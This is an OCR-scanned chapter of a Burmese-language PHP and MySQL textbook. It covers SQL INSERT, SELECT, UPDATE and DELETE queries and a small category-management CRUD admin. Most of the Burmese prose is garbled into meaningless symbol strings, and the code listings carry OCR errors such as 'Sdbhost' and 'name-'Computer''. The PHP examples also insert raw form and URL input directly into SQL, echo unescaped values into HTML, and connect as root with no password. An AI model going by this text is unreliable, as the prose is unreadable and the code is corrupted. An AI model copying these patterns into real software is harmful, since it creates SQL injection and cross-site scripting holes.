7 of Edit $é Copy @ Delete 2 Technology 2013-04-17 13:54:53 2013-04-17 13:54:53 
O gf Edit Fe Copy @ Delete 3|Mythology 2013-04-17 13:56:06 2013-04-17 13:56:06 
J Edit Fe Copy @ Delete 4 Sciences 2013-04-17 13:56:06 2013-04-17 13:56:06 
O $ Edit Hi Copy Q Delete 5 Religions 2013-04-17 13:56:07 2013-04-17 13:56:07 
$ Edit #2 Copy @ Delete 6 Fiction 2013-04-17 13:56:07 2013-04-17 13:56:07 
& Edit Fe Copy @ Delete 7 Magazine 2013-04-17 13:56:07 2013-04-17 13:56:07 
-] $ Edit EN Copy @ Delete 8 Language 2013-04-17 13:56:07 2013-04-17 13:56:07 


$ (q-e) phpMyAdmin - Browse Records 
Record odgo g qE mosca Record egf Delete PRSE: fes YSR fE: (06«06c9 
IN IN ec oc : o00ocre IN coc IN 
qÊ copo: DH Record eq 90:00 Edit o280(8: (9680686 olooo5u 


399 phpMyAdmin o9seo»:[oj[G: Database e020295e8000361 Table eo200936s00039à Record 
cog Sas: ó ġo o9Q99o:(O(890loooà: eg: PHP ae MySQL Database Server 


>o OCe O 


$jo$«o03(8: 3309320203602 qo»$6 $690? ecocoo23»:eooli 


MySQL o? Structure à Data s9[8:4596:3(02p960:0li Database oog3esooo?[s6:à Table mesmo 
ç `n OC Qe ç nO co Q Cx IN o ° e 
(sé: mar Structure 6c:8ó[9c:0% PHP ooescoo@ Aslan Structure 200 səc[ešsoəo: [ec 
opas IN Ç x ° ç crog IN IN ° e ° ° e 9 
3285 $329] elgod::3003304||: eopo50lop: o»9[03602036s020300»:(8: 6 qo|[8 QPO Structure 
e 


(GEs00005 sor QàColoooŠi slsoeoš PHP Code o»esc9ó:(8: ecoeco[06 o»05«90? rra 


o 9o 


[19029 o36eQolop: v slefox¢ PHP 4 32800969000 Record coo [ešolooošii 00§05:390:(6¢ PHP š 
< < 


ooo csooo5coo: (8: 22: Table eo20509 329[0932c003602 o? CRUD (Create, Read, Update, Delete) 
(¡9/9 


ce 


7.3 - SQL Queries 
00008386: SQL Query Command 60223Q9002:8 oSsadcloo05 Structure Query Language e, 3009 


022033ecsl 890) SQL o» RDBMS 60203888603 Language odg] 04060) 0902go: 
043] ea: cop: 39409:c0300990:020360602 326[886q:220:000600202090»090lo»o5u SQL oo 
Data Definition Language à Data Manipulation Language s9(8:4696:0lo&6ecoqolo»oóu 3leoeoS 


2(008(8:(g503 20076: RJE Data Manipulation NR 29000: 60: 609000999: 90011 
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ocoes?:3e84 Record 6020009296:8320505 INSERT Query o2səo5: [9 8ColoooSi G61:020:0026022 


32909 ol 





INSERT INTO categories( name, created date, modified date ) 
VALUES ( 'Comic', now(), now() ); 








9209:39[03:30625:4$020922c9 es:&6olooo3i RPP 005: 39(08:602 86: 220:000:0026020» Query 





Keyword cop (gdolos05u Record 390060209 0099096 3090229508 eQ: INSERT INTO Key- 
word § ©000:010005 ©209:600:8 69 :000:020602M60>7 Table 39005 Column Qpp2§,cop5036:0803 
e c Oo e e ` ç ° : ` e o cy 
səa|o5səcoo5 02 belos Table $ Column səeo5šcoooo Tide Key (^ ) sagEsab03§eq:60: 401 
0205 ( poeo - "categories )i! sleoeo?eoop?cogs:qo9 peye eog: Table š 
Column 3290960290 Space 6020lcooco299200 e[6966$ 005256: co:8c9ooooli aj 6023020093 
esoo05$000:03 Table š Column 3260960290 Space ecgeolcg Tide Key 3296320050099e6«0000]i 


x e Ç Os ec o ° e ° c e oc e 
categories es@pgo Record oop$opc:opoo Table 326050? asaos: eo: 86000051 
Table 326096500990 Column 90q6:60:qolo»o3i categories Table eo Column (9) 2% coeos (Q) 





900009 qJ name, created date, modified date (Q) 9Qco:coo:oloooŠiI id meon Auto 
Increment 250$90$000:c9o0p986c90lop:! remark somo: pş) mesones e 
oop90qu$c0o:30lo»o5u 





sons: VALUES Keyword Amador 096400390 098098: Q0) 00§G:602008:5 Go: gol 
00051 Column 96:99 (2) 29003320305 0009996:090200$0:00q6:00cop9: Q) 96 [ešaeo[ešol 
0001 cop 936:090302$8:60200 oo(S$6s«$eo»? Double Quote demo Single Quote 309632009 
§eq2000:60: 401000511 DFN: CRAEN ecoolog: 1 $RP 'Comic' s90300$0:09 Single 
Quote 3096320058 oop960:000:0lo» 09i 65009000048: ¿0990607 MySQL š now() Function 
Ç eo CO ç ç . co NN oc Oo e ` . c 
0269803058009560:000:010005 now () Function oo coq egggseq|§ 020909c0:0? Function òo 











000 slefoxg now () Function 95:00: 036g PRE: vAANIIDAIA MySQL DATETIME 05 





Co N ` O c ç ° . ` ° ç ç 
coman Format ¿NEO dolos Query 3280:906002 Semi-colon Š 39803090960:q 0100051 
Query coo 6q:000:08:0008390305 phpMyAdmin Main Menu ò SQL ASTRO colmo) 
Box 0392 à (Qq) PL: şefe INSERT Query o9eq:220:60:0li [8:96 Go Button 
Oc O Ç x ` e e c e . ` ooç 
&6c9090335el 661:250:000: 02 Query 32096090250: puo losn Main Menu oda Browse SÓ 


(pdas Record 32226 0269032030:029030095: 602.920 
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phpMyAdmin 














& e |] Browse y Structure || SQL 4 Search  3é Insert 3 Export |=) Import ¿Operations ® Tracking 2% Triggers 
$ 9 
Run SQL query/queries on database store: © 
(Recent tables) ... z] 
store ži INSERT INTO categories( name, created date, modified date ) = 
VALUES ( 'Comic', NOW(), NOW() ); " 
|_| categories name 
remark 
created_date 
(Create table modified_date 
<< 
SELECT * SELECT | INSERT | UPDATE DELETE | Clear 
Bookmark this SQL query: 
[ Delimiter |; ] & Show this query here again ' Retain query box se 


9 (2-1) phpMyAdmin - SQL 
səa|o5°səcoo5coo 902300205 SELECT Query Ro): olor ón 6€:220:94940008 c9oli 


SELECT id, name, remark FROM categories 
ORDER BY name DESC 
LIMIT 5; 





r4 


SE 











ECT Keyword ào (8: 68005 905 Column e2«6:09260:q0looo5i Column 320:05: Sad 
y QUSS Soy s OE ad dell Ae A 
S46 oo0ə9g|C:oos:OGq: Solo: Asterisk ( * ) eco:cop$eo:cpo$ 6 qo(8i Column ones: 
000 SHAE 029098|6:004:96q:e80«pecoolos: Asteris peo: made) al 
egooógo FROM Keyword à Table səəeəScoogoloooŠI gesome categories Table càoo id, 
22 o S ç ¢ o enema ç 
name, remark Column q[:02 0p 09020509 90059050803(86:(Gd0lo0051 











ç nÀ ç oc, Qe, 5] o ç Ç dl ç — 

89$090eo3[0000:02 03|$320€:0260020$ 929: 920i! eto: cpqolo»oói ORDER BY Keyword 
o 2 [° c O c IN IN o c co c 

o? 95:(8 Sort apoco:eocpo03 Column ooÓcoo5eo:qoloooi Sort op Column 059900050090 60:60 
e. IN x9 € o € + nx 0 € o € 

qjegc cop5:390303.0360:8E0los05 (2060 - ORDER BY name, created_date) 3203c90060:0905 
IN ° > co ° c > e oc e(o. e c 

gc ega: Column š 399 coco: Š: esma Column cos 390539036:8005(8: $60:030:90[9001 

IN - e CO © ç creo, O Ç 9 i 3] [09:63co5c8058 e. 

001 ORDER BY oo Qe$e9q6 co3oo[o3:c90? $eo:eooli 333103 o cs eogi Column 

0096: 6800990 DESC Keyword c093036: 60:86olos05i POS: com agooln oqqi: 

oloooSu 


























65009000 SELECT Query ¿3202 VSee LIMIT (s$0loooà" qopeo? Record aoe« 
32020905 oošoso5cooo[ec:[eecloooSi LIMIT 5 coc[oocoo: 03390305 Ocoeso: (9) e(o256: 590960: 
go oli LIMIT 32020 0909cop9:009960:$60looo3! poeo LIMIT 2, 5 BOs &9e[o256: e(8003006$ 

° ç ç O x ° ç IN encre erc IN 
of: (9) epn: queso se89lo$(s$0loooà: 2 oo opse: 5 o» saeqs20205(gd0lor051 
phpMyAdmin à SQL Box o5oo 32q|:4|:6:220:09:229(02p9$ 60lo» 05i 
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ç e " ` e o c IN C x e o c 
goma ú ú Query 6026q:220:05326] PIPL: 0096|022€:3|C:869$: 64 9 copo: ecQolop: 1 omo 
eonan: O§:8eq:0005: səcoOcoOeoo[eóoloooŠi Query səs5:eoo5o Semi-colon cop$eo:8c9ooooli 3l 

* opo" $06 copo: Í t~ 7 y 1” 1 O 
eooo6e Query oo mdee: mA: Bas codsoqoecdvlor: oo$e(o206:0009000090000 Query 006980069 
1 y n D4 208pecq i^ A Í 1 y 1 l 


3[89:0396394009 so:90 oli 
Record eo (062068320209 UPDATE Query o225:&60looo3i egz:oso:óoo Rol - 


UPDATE categories SET name-'Computer', modified date-now() 
WHERE name-'Technology'; 


UPDATE Keyword esoo$ego Table aesa qoos (8:609 SET Keyword à (96so6c90? 








«Co 


Column à 02§8:0303 oY eqan: gfe: [sólos name Column o? 'Computer' 
< < o ers cre : : o co c c ` ex 

(Gésoécocdo5[eé: (s9(8: modified date Column Meon mas Query 303900099: qu 
O C. IN < oc < c ç ° c < <ç ç ` < 

BIS [GEsoEcochoS [eé:[eëoloooSi Sepp og ns: Query osešeso>səooo5 sass 


opo:əo[eóoloooSi slevou categories Table œm Qoy) Record 30:09:% name 


N 
N 


av 











modified date Column RA [oésoccoosoo[eóoloooŠi slefoxg REAS Record o? WHERE 














Keyword 83909 $009c00$2509590560: «0l mun WHERE name= 'Technology' c9 25209909000:05 
y $390, 9 q g 9 ° 





e co e ` ° eme e 

32030 name Column y e@coo2š%@: Technology (59650) Record 6020) 25o cg:ajo5|[oCsocco:ooo: 

e e co O ` ° ç o e e e 
eo(s$olo»o5u name Column oo Technology o»49:96s0? Record $256c00050? (96896290: »(890l 

ç e e e ` ;| jl e o Q x ° 
om e$ PRIMARY 9903903 ooo:o Column oo 32eq:0lcoooloooóil 609000:32002 3ag2:6020) 

co e e e ` ec oc ` e ere. Q e e c = 0.000 
eqpCQ320905 PRIMARY 9903903000303 VMHP ID ¿om Lisci: Naason 3coso 0 
aeo] - 


UPDATE categories SET name='Computer', modified date=now() 
WHERE id=2; 


Sco Bes id 048: 2 (896503 Record 02900 (GEs06030:90{80lo051 id o» PRIMARY 0003903 
ooo: 0048: 2 (985303 Record ¿999920003 0l09: t 














Record coo qa 83902056029 DELETE Query Rar cols Cm ol - 





DELETE FROM categories WHERE id=2; 
































DELETE FROM Keyword 6800900 Table e SYA DELETE FROM categories 0006 qô 
oc c . M o ° ç e c c ç 
œ: categories Table Aeg] Record səo:co:q|o5oəo:eo[eóoloooSi slefoxg 6g00d 


MeJoR Record o? WHERE Keyword à 22§:60:4 0100051 $09290 WHERE id=2 c 


























o00390300o:c9 id Column 000048: 2 (866903 Record o220oeg:qjo$003q03250:e»(890lo» ou 
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7.4 - PHP and MySQL 

PHP à ogj$eo5302co0$Q00p96s0009000:0? categories Table o9 Create, Read, Update, Delete 
as c$:qp: [0 9ó%Co> Form cog oop9esooo? [299 q|6 olon 0000939:326$4 htdocs Folder 633005 
qo eoo olsa036: Folder à File 602020368020360:0]i 


store/ 
-- admin/ 
-- confs/ 

|-- config.php 
-- cat-list.php 
-- cat-new.php 
-- cat-add.php 
-- cat-edit.php 
-- cat-update.php 
-- cat-del.php 
-- index.php 
-- index.php 











store Folder 39026399 index.php 32020 File 029943205 admin 32020 Folder 0209 coóso6 


0293630003000: 0lo» 03i admin Folder 009) cat-list.php, cat-new.php, cat-add.php, 
cat- edit.php, cat-update.php, cat-del.php, index.php 32epoqo? File co2 8300p 

ey c c ç e e ;| ç M ç * 
confs 390908 Folder onde codsogonas Gsooobcoo:olooo5II confs Folder oó9ocopó: config.php 
Bosse098 File 0599Q0le25:00091 


OOOGS0:39G8š config.php Òg 299069000: 0099026:60:0l 


<?php 
Sdbhost = "localhost"; 
Sdbuser = "root"; 
Sdbpass = ""; 
$dbname = "store"; 


$conn = mysqli connect($dbhost, $dbuser, $dbpass) ; 
mysqli select db($conn, $dbname) ; 
2> 


Variable eco:ee[ox(£o250590$00o:0lo» o5 Sdbhost Variable o» Database Server Adore: 
0:8 (sd0los051 localhost c92003903000:0lo» 05i Sdbuser Variable Galopa] Database User 
Name sÍ[8Š root o9 o5ošəc5eo:coo:oloooSi $dbpass Variable go Database Password 9905905 
° c ç ç c ç c ° e o Ç c 
0:8[gdclooc5 sleoeo root User 320209 Password o509909ecoo:c9 Quote sagésa8o5aaq305 
Ç x` ç ç . ç ` c c o c ç 
02096 009960:000:010051 Sdbname Variable qo Database 3260932684 NËN saco 
ç ° Cos ° ç ç c ç ç 
esooo$ooo1(8:(8$ 0? store Op 000399€:2005 gooo 


egos mysqli connect () Function o? səo5:[o[6: Database Server o9 ajo5soo5coo:ol 
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oD05II $08 ajos] Host Name, User Name š Password 0202 oop?996:eo:qolo»oóu slefox¢ 


$dbhost,  $dbuser à $dbpass Variable o? A səoSc0o5copoooC:co:cooo[ec:[eóoloooŠi 
mysqli connect () Function oo (G§e0:c0003 Resource ID o? $conn Variable šcoo5ëcoo:oleo3: 
ç co e ç ° ç eo xfO oq e e 
on PHP m 0003/3230 sameo External Resource 39(6608:(80:3(8:086:000:00050lo051 
Resource ID ¿$0 a2$3eqjo93acoo9qp: 086:8095:000:03 es«po?oo4 [002 sag05a9000:0069 (s90l 
ç i : e e ore co o ç e 
oi mysqli connect() Function oo Resource ID o»99(9460:6c2 Q8: MAA Nge eso»cgo? 
O x9 Q e c O : ` ° So ç e e e e 
& 393 ID c9aaGcoogo[só co $conn Variable š ID o» coo5ë cop?ogé:eo(s6:(s90lo»ou 
CFIN: mysqli select db() Function o2o»:(8: a:o > Database Regeo: on: d] 


on ájo5sooocoo: 0} Connection Resource ID § Database 326090260: qeo[99 c9 $conn à 


$dbname NR 0099036: eo: coo: ec: [ešoloooSi 


o 


Sc90esooéqjo$899(890? Database Server o94o9sooo(s6:à seop:[p]eo? Database eg:qjo9eo:(s6: 
o200» Database à sacpdordqq Ôo: 


esoo6qo$qeo? ocopcoo[eóoloooSi 009409:320:(56 
amome qe Statement &990li slefoxg config.php 22694 08: (50:8[8:eq2000:0805(86:(86 ol 
e e o e M M e e IN ç ° o N S IN co oc 
onu $0808: [99:969:000:03390205 ooóslooóslp4 eq:Qeopeoooo Database saaa: 
à o CO Ç os o Cc e Cs. ç c o o c c 
config.php N Include AVOCADOS, Server $jo?eoo3(s6:4 Database eg:qjo5[s6:020? GSooC go 
[Š:9:o2o:eooo[eóoloooŠi 


c ere S z % O ç ç e e e 
soo3coo3(8: cat-new.php Ò categories Table ONOR: AL 324|0532 0005602 (s 2900 
e 


So 
£o 


8603 Form 0269 oopjopé:qj6oloooó! HTML Structure ao(9p930$09600? 000052» 


co:oli <body> 39026290009 8 Form 0209:0569|:220:60:0]i 


«hl»New Category</h1> 


<form action="cat-add.php" method="post"> 
<label for="name">Category Name</label> 
<input type="text" name="name" id="name"> 








<label for="remark">Remark</label> 
<textarea name="remark" id="remark"></textarea> 





<br><br> 
<input type="submit" value="Add Category"> 
</form> 


(230$qo228sae0Ee[Ge08sa0205 CSS maps: <style> sagéaa8038 copsagé:eq2000:607018:1 
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form label { 
display: Block; 
margin-top: 8px; 


) 


x š ° ç e e e e e 
Form 8 action 9o cat-add.php aeoo 01000511 slefox¢ Form y BN [Gadog6é: 
(8: Submit asaos (G25026:000:03 name š remark o? cat-add.php 02060:290:e09»(s90] 

ç | e ° ` e e o . x 0 
mom 3 elos cat-add.php 90 GO:O cooo?3eqjo93ac009e090? categories Table oda) 
0099996:60:0) Code o? @g 300036074920 HTML cogeo olog: PHP Code qjp9:220922090]i RAQ 
0099996:60:0]i 


«?php 
include ("confs/config.php"); 
$name = $ POST['name']; 
Sremark = $ POST['remark']; 
$sql = "INSERT INTO categories (name, remark, created date, 
modified date) VALUES ('$name', 'Sremark', now(), now())"; 








mysqli query ($conn, $sql); 


header("location: cat-list.php"); 
p 


confs Folder ooo config.php o? Include c90000:02300205 Database Server 4jo$soo9(86:3 
o ers es < Qç re c ç ° € < ` > 
store Database eg:qS[eé:andc§:qp: esoocgos[6:[sëeeoloooSi $jo$e0500o:0? Connection 
ç - ^ ceo c S < cre >b 
Resource ID um: $conn Variable oó@o saw Aep [ešoloooši sonas: Request 4320? 
< ^ < < ° E ` Ce ç 
olo$cooo? ma 3202036020? $name, $remark Variable qp:& coo5ósoooloooŠi 





e € e - c o : M ° ç ç 
e&oooooósocQgo INSERT Query 02690) $sql Variable 009) @g3900:0095036:60:000:0loz05 I 
cop?o96:eo? Table a> categories Table [90(8: cop$096:005 VALUES səesà oqi} 
Sname š Sremark NR 990590560:000:0109051 sooda e: mysqli query() Function 0295: 





(8: INSERT Query o? 32099 aseo oloni mysqli query () o? aoo»: [0 03300| Parameter 899 
€ c o ec IN ` : cre o c 
eo:qolo»o3i 0008006900 Database $[o58005000:0? Connection (s9(: 3020000990060»? SQL 
IN e e o c o co o o 
Query (gdclos05 slefoxg $conn Q ocoe Parameter sa[gde0:0803(8: $sql Q 200 Parameter 
c Oo C(^C. x c IN 
sos eo:c9o3(s6:0 [ešoloooŠi 


ç c s O ç c c c c c ° o o co c IN 
səa|o5səcoojGoo Table oso oc: [e G: [Lês PHP œ RNA (o¡o269co:oloz:1 op 
coÓco:oəo:osooo mysqli query() Function o?o»:(8: SQL Query cooo Database Server obeo: 





iN iN < c ç o OQ Ç x = EN iN ` ç > 
zaas as eof: [8ëoloooSi 6o:80$0503 INSERT Query 3a030090070:0332030 Request š 320» 
)| < ^ co ° ° ° . x 0 c c < < 
oloa} oo$ @;Goooo 3905;(01(8: categories Table ò% Record 322590009 0099096:60:090:99 
ò (gdolos051 
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Query 0:8[8:6g005026806¢0 cat-list.php o? Redirect 09636:000:0]o0051 slelaxg 00:00 
qo 


(0399 ə cat-list.php qo categories Table 32096: ges Record G03 03603(Ge0: 
p ç ec o c e ç ç . O o.c oc e c 

coOesoocajo5o? 399669 :000:018 :e 05i HTML (oa o2030966q:200:(8: 6320029260: 000: 

Code 60303 <body> 39026299 091050092996:60:0] - 


Cn 


° 


.9, 3, 


<hl>Category List</h1> 
<?php 
include ("confs/config.php"); 
$result = mysqli_query($conn, "SELECT * FROM categories"); 











p> 
<ul> 
<?php while ($row = mysqli fetch assoc($result)): ?> 
«li title="<?php echo $row['remark'] ?>"> 
<?php echo $row['name'] ?> 
AE 
<?php endwhile; ?> 
< ul 





<a href="cat-new.php" class="new">New Category</a> 


Se IN IN ° o o oc " ° e e ° 

Database $ 3909009060996 00:603909€: config.php o? Include co900o:0lo»03i (8:6029 
š : e (9 e ° O ° € ç e e e 
mysqli query () Function o: [6: SELECT Query 02690) co: olor oo: [99:90 300 
oc š e ` co o : M So e e ç 
(3690 mysqli query() o»[p$e0:cooo? 00§$:03 $result Variable š coo5ëcoo:[eé: [solon 
$result Variable eo SELECT Query o» [9$60:00003 Resource ID cošəqesoo [sšoloooSi 333 
Resource ID c2səo5: [o [Š: seqjoSaacoa3e0203 mysqli fetch assoc() Function à goocoo:ol 


























ç 
ODO II 


. : crog c Q oc ` ` 
mysqli fetch assoc() Function oo 029[03632090096096:60:c000) Resource oócoes Record 
c C ES ce, "1 ç ç ç ect ç Q 
0296|020C:0? soo|: Associative Array o»993o[s9 e(9o6:000:60:0 oò Column Name cozo? 
Array Index s (5522059 03(8: Record 02$0:609006002 Array Value 32648 809000:60:99001 
00591 Resource ceo Record (9) e(o26:9«6 mysqli_fetch_assoc() Function (9) eleq:(8: 
` coc ç o c ç x ç < x "TR 9 ce 
ago005§éolos05u Record $256co000532024 Aao godas] $999 Gg2000:000:000) Loop osf: 
IN oc IN . ... ec, as e e o Ç x co c 

opo$op&Golo»oóu while Loop 05600209:63809€: 002096:3996320000000 $0: True (9965229| 
32099009068 900li 909056:3096320090090 6«:000:000:0) mysqli fetch assoc() Function oo 
Record copa 0909 qop Amore: Associative Array ooós[o$co:esco 90$056:0900 02§8:03 True 
c e, p e. . IN ° ocr oc c c ° 
[8ŠeseooloooŠSi 3§ 20:4 while Loop oo Record eo 00079509] [Boas 29900007: [6:1 
egnnsad:apagosoqp Record eoq|šcoooo>səs] mysqli_fetch_assoc() oo False 0r§G:0069[6§ 
c IN x° ° <Ç ç ` co IN c > IN IN ° c 
60:99 [ešoloooŠi 3>3səə] Q: o00200$Q:copó: False (8$250:03320505 Loop op: 3299:0505 


oəo:eo (899lo»o5u 
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ga I I mysqli fetch assoc() Function 3290: mysqli fetch row() à mysqli fetch array () 
2.9 S, 5: [01860] ç 1f fetch R d 98.89. N ic A > , 
RR COPS: ağ: [ogol mysqli fetch row() oo Record eogopQ:Q: Numeric Array 326$&s0p60:9o 
[ešoloooSi mysqli fetch array() meon Record cooo Numeric Array səesš esp Associative Array 
> co ° ° oc co € c IN : : o 
32658 ol &9q|[: oo: 3905:(6|86es906805 oeo: fso oi mysq1i fetch row() œ Array Index cogo? 
§0los058 SoSc00:92(9603 Column 3989050903896 S:a eooo5oloq: I Table eo Column cogqp: 
x ;l e < o iN EN iN ;l ç ç co IN IN ;l ç 
o?328| Column mös @obçgəocoooooolooo3! Column səeo5Go9ooGooo Qe 020301090511 
mysqli fetch array() ooops: Record 0299 0009:02 Array gOG] 90653, aóso[OCsoCcoo:eo:co 9esol 


onu alejados $Q$OGO2@0GO09 mysqli_fetch_assoc() 02900 soo5coo5soəo>: [o|eeo[oooo: qo [ešoloooSi 


Loop z0(9003 while à s906:(9603 endwhile saogê:ş2 <li> Element 0099096«:220:000:0] 
IN sx Q € C ON : x 0 i > e ° 
cool! Loop e, 90909€:0990 $row Variable Ò mysqli_fetch_assoc() & Record 02690) 
: > e e ° ° ° ` co Oo e 
Associate Array 39698, $02009299€:000:0200? ooo(gjolu name Column 909640? o»$0:09ec3[0eo 
803390205 $row["name"] o9 Element Content zo [8ëQo5cooScoo:oloooSiu title Attribute à 
Value 3969 & copo: $row["remark"] Index o? q090903000:0le20: 02031 qco$32e$à categories 
Table càoo name 602036 «1i» Element à 02§:8 eo3(9ogo:eo(S9(8: «1i» 0? Mouse à eooo05c905 
e ° : ` ° e IN 
q remark o9 Tooltip 3969 4605[960:030:90 [ešoloooši 32303 Browser URL Bar go 
http://localhost/store/admin/cat-list.php VAHE 9 (7-9) ooceo[ocoo:ooco qco$qQ$eseooli 


Category List 


e History 
Technolog 
e Mytholo Books about historic events, historical facts or history based fictions. 
e Sciences 

e Religions 

* Fiction 

* Magazine 

* Language 

e Comic 





New Category 


Q (7-29) Category List 


cat-new.php a:e New Category Link o299cop9:0002296:60:000:0le20:00091l cat- 
M o c o Cos o c c o "(9 c o c 
new.php à cat-add.php 0232020093200) Code cooo og|$e005096q:2»0:000:3[6:[89 c9. 0376 
° € ec c (a IN c coc e 
30Q|:3000: Category sa00de020099036:(8: 0:22ó(02p9$ col/án 
ç IN e 


c ere ° x` ° ç oc ec iN ç ç o c oc 
sonas: ooq|o5coo2 Record Go90?005q8034 68320205 Delete Q90680068|050?2520580C qo 
iN ç ç ç 


Category š oy>eo5coo5oac:co:a|ColoooŠiI slefox2¢ cat-list.php 9269:000:000:03 Code 60303 


rj 
IN IN o € 


32909 (o6 Soc (S0990360:c9030lu 


o 
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<hl>Category List</h1> 
<?php 
include ("confs/config.php"); 
$result = mysqli query ($conn, "SELECT * FROM categories"); 











2> 
<ul> 
<?php while ($row = mysqli_fetch_assoc(Sresult)): ?> 
<li title="<?php echo $row['remark'] ?>"> 
[ <a href="cat-del.php?id=<?php echo Srow['id'] ?>" class="del">del</a> ] 
<?php echo Srow['name'] ?> 
< Moos 
<?php endwhile; ?> 
</ul> 


<a href="cat-new.php" class="new">New Category</a> 


Cate € S.,8> = o VIN Li k M c e S. one AS S 50] 
gory ordqajé:83s009 cat-del.php oBozo:03 Link co o300900p9996:60:cpo3(s6:(890 
001 op:[0:qjo90060»9 cat-del.php Ra] vS Record à, id o9 URL Query 
3906994 03003 copozc:co:co:[sc:[govlonuón cat-del.php geo URL Query səsš 
coo$so6006:0lo6cooo? id o? masgo(é: 333 ia š RSSA Record o? ooSq]jo5o> c966s006 
q¡e9:000:60:9 eo(s$0lo»o5u 


«?php 
include ("confs/config.php"); 


$id - $ GET['id']; 
$sql = "DELETE FROM categories WHERE id = $id"; 
mysqli query($conn, $sql); 





























header("location: cat-list.php"); 
RS 


o 





























300003 id 09 WHERE Keyword §03005¢0:000:03 DELETE Query o»990232c96090600) 320200 
e o 


DSN p Record 02003qJ0360:290: 9o0li cat-list.php o? Redirect co6c0: cops: Oop9996: 
coo:oloooSI səəes http://localhost/store/admin/cat-list.php eoogo:o393€6 $ (q-a) eV: 


e Oo 


9005 Cp Category egeo del Link eco:602036030lo6 640000? cop qeo(s$olo»o3i 


GO:Q 
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Category List 


e[ ] History 

e[ ] Technology 
° [ del ] Mythology 
e [ del ] Sciences 

e [ del ] Religions 
e[ ] Fiction 

e[ ] Magazine 
e [ del ] Language 
e [ del ] Comic 


New Category 


9 Q-a) Category List with Delete Link 


DN del o» B gofes 6:320: (os Category 60203005 oSajosac[ó[esoloooSi 09:00 [030 


e ceo e 


sonas: Category 60 203(GEa0E8é &c@ Edit coÓcsoocajo5 SRo: olos cat-list.php y 
32909 (5090360:0lB:u 


«hl»Category List</h1> 
<?php 

include ("confs/config.php") ; 

$result = mysqli query($conn, "SELECT * FROM categories"); 
2> 











Sul 
<?php while ($row = mysqli fetch assoc($result)): ?» 
<li title="<?php echo Srow['remark'] ?>"> 
[ <a href="cat-del.php?id=<?php echo $row['id'] ?>" class="del">del</a> ] 
[ <a href="cat-edit.php?id=<?php echo $row['id'] ?>">edit</a> ] 
<?php echo Srow['name'] ?> 
</li> 
<?php endwhile; ?> 
</ul> 





<a href="cat-new.php" class="new">New Category</a> 


(8:303caa0699 del Link cozoopso3é:800085 cat-edit.php o$030:8603 edit Link copo? 
e e o “C e ç ç ec oc . ° : ` e e 
oop9996: eo:c9o?[s6:(890lo»o3i ae: mmsca id o? Query String 326$40009296:60:000: 
e 


olooo» cat-edit.php eo Edit Form coə5oəé:ceg:oso:eo[eŠco 09:639096: HTML se[pp?soó 
6€:220:60:0li (8:03329l <body> 35026:909 co:coo:o> Code 60203 09:090009296:60:01i 
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«hl»Edit Category</h1> 





«?php 
include ("confs/config.php"); 
Pag = S GET a u 
Sresult = 

















mysqli_query(Sconn, "SELECT * FROM categories WHERE id = Sid"); 
$row = mysqli fetch assoc($result); 
?» 





<form action="cat-update.php" method="post"> 
<input type="hidden" name="id" value="<?php echo Srow['id'] ?>"> 





<label for="name">Category Name</label> 
<input type="text" name="name" id="name" 
value="<?php echo Srow['name'] ?>"> 





<label for="remark">Remark</label> 
<textarea name="remark" 
id="remark"><?php echo Srow['remark'] ?></textarea> 





>> 
<input type="submit" value="Update Category"> 
</form> 





(3a8eporogse0Ee[Ge0$s00205 CSS ma mps: <style> 3996300058 00092096:6q1:220:60:0]B:1 


form label { 
display: loa 
margin-top: 8px; 


) 


Edit Form o? New Form 09 $:00C9 Form qjp9:22032209ec3(0 09 eqcoooolop: I (982066 og:ajoŠcooo 
` ` Ç oC x ç c o ` > IN ero o0 c IN 

o? Record 42505s0C09 3e3[053a00096090? Form Input cogcóeo Homeos(G8c$sadcoo0lo005 3] 

epa Form 969:000:26 Database ¿qMeom[ac:' URL Query String $san) id Ra: [O| 











(8: SELECT Query eo: Ofa: ean go3000:0lo»o5u Category List Page 20$: 





mysqli fetch assoc() Function o Loop osf: Record coəqooàqoloooi 3 Edit From geo 


























SELECT Query co:Qooooo5:oo id 0? WHERE Keyword ¿3002 o3609e0:c909c9 ofanse 


Record oo oo$e(p2»6:oop3:(56 9o so5apesoloooSŠi categories Table go id o» PRIMARY «86002 


id 0299320505 Record &99Qosp zefot: o ġol: slefoxg Loop 207560225 
mysqli fetch assoc() Function o? d[o sams aeo: quis $row Variable o5eo 


Associative Array sə[8Šqoocoo:cOosoloooŠi 


` 


HTML Form egz:25o:o>səə] Form Input 6024, Value 9694 Database cbooes «$000:0? 2N 


co Q O € e IN DEN e e š e ous o e. : e 
28036020) c903650093296:Q09090360000:0lo» 03i oo: [so:a|o5səoes š id Qp: Hidden Input 00 
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S IN e IN ° : Q OQ Ç x e e ` 
° 39069 900p9026:60:000:0le0:0051 algo Form o? Submit qoo} sos] (GEs06000:03 name, 
remark ©0302§8:60283909 id Maps: 0300960:Qogo:eego[s? oloooSi Hidden Input (s9c9 
2 e IN o IN ç O IN e : ° c 
aeos: (gopoo (Eqgr0up050008 [Lisias goo eooo5O]oq: I categories Table o» Update coo 
` ç o Q x C O "x . co o e ` e e e c ç e 
° səcoOOncoOosəə] Update c»óc9o? Record id olocG0%300 09380203 Co02806006:000999C: 
O Ç x jl f ` ° e e ;| IN 
co: 0903020690111 Form action S2G$Š cat-update.php 092205902560:000:0'020DII cat- 
update.php q) categories Table o? Update coÓco:o) asean] CE2: e0: QQ 


<?php 
include ("confs/config.php") ; 


Sida = S POSTI ard? |; 

Sname = $ POST['name']; 

Sremark = $ POST['remark']; 

$sql = "UPDATE categories SET name='Sname', remark='Sremark', 
modified date=now() WHERE id = $id"; 

mysqli query ($conn, $sql); 




















header ("location: cat-list.php"); 
2> 





Form o»e0:0c000? id, name à remark 030300058qu9(8: UPDATE Query ooóə e0:8cho59é: (89 
ol 0031 Update coo[Š:esoo5 cat-list.php RÒ Redirect (9$09660:030:8 oxo5əo5coo:oloooŠI 
2963 http://localhost/store/admin/cat-list.php go am: (mps $ Q9) eo[pooo:2»c$2205«96 «p 

` S : : M IN c c ç e Ç Q x ` ooç 
Category šsəoo del à edit Link e02036030lo6es o»(890looo5 v (06so6c902 Category e, edit gô 
(8: ome [pig fedos o 2283201 


Category List 


e [ del ] [ edit ] History 

e [ del ] [ edit ] Technology 
e [ del ] [ edit ] Mythology 
e [ del ] [ edit ] Sciences 

e [ del ] [ edit ] Religions 
e [ del ] [ edit ] Magazine 
e [ del ] [ edit ] Language 
e [ del ] [ edit ] Comic 

New Category 


9 (9-5) Category List with Complete CRUD 


